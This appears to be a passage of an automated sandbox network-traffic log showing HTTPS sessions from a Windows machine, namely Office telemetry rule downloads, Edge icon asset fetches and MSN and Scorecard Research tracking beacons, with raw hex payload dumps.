2024-11-12 07:30:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f849fa6d-101e-00a2-16a3-349f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073036Z-15869dbbcc6bmgjfhC1DFWzfzs00000006qg00000000bwww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49863	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 464222a3-301e-0020-41b1-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-17df447cdb56j5xmhC1DFWn9180000000bv0000000002s8e Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: b37f67ef-101e-008d-17ad-3492e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073036Z-17df447cdb56j5xmhC1DFWn9180000000bv0000000002s8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49872	3.170.115.68	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	925	OUT	GET /b?rn=1731396634698&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=048A31DB7A676AF1398424EE7B306B35&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 12 Nov 2024 07:30:36 GMT Location: /b2?rn=1731396634698&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=048A31DB7A676AF1398424EE7B306B35&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B0ebc8e096ca385d16ef571731396636; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B0ebc8e096ca385d16ef571731396636; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 24552cc73eb01244d6031d2993c7a706.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: REjuON3GJ3TnnqjLYO4QcSMSYq8CqbqEZXxljB7DVJCdqWY7YPf01g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49865	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 101974ec-101e-001e-44c3-34b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-17df447cdb5lrwcchC1DFWphes0000000bpg000000007fyh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49866	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 95c41f3e-801e-0054-31a2-34828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-15869dbbcc6tfpj2hC1DFW384c000000094g000000006yg8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49868	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 93a3a18f-901e-004b-34a2-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-16547b76f7f7scqbhC1DFW0m5w0000000f2g00000000f6gx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49867	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 9296dea2-201e-003f-28a2-34dfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-15869dbbcc6qwghvhC1DFWw7e800000000gg000000009bqg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49869	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:36 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 77995250-c01e-001c-7ea2-34b010000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073036Z-15869dbbcc6tjwwhhC1DFWn22800000008tg0000000011gu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49871	20.125.209.212	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	1175	OUT	GET /c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
2024-11-12 07:30:37 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A63DE543850F4BB9BD7C9BA0E255D8AC&RedC=c.msn.com&MXFR=048A31DB7A676AF1398424EE7B306B35 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=048A31DB7A676AF1398424EE7B306B35; domain=.msn.com; expires=Sun, 07-Dec-2025 07:30:37 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 12 Nov 2024 07:30:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
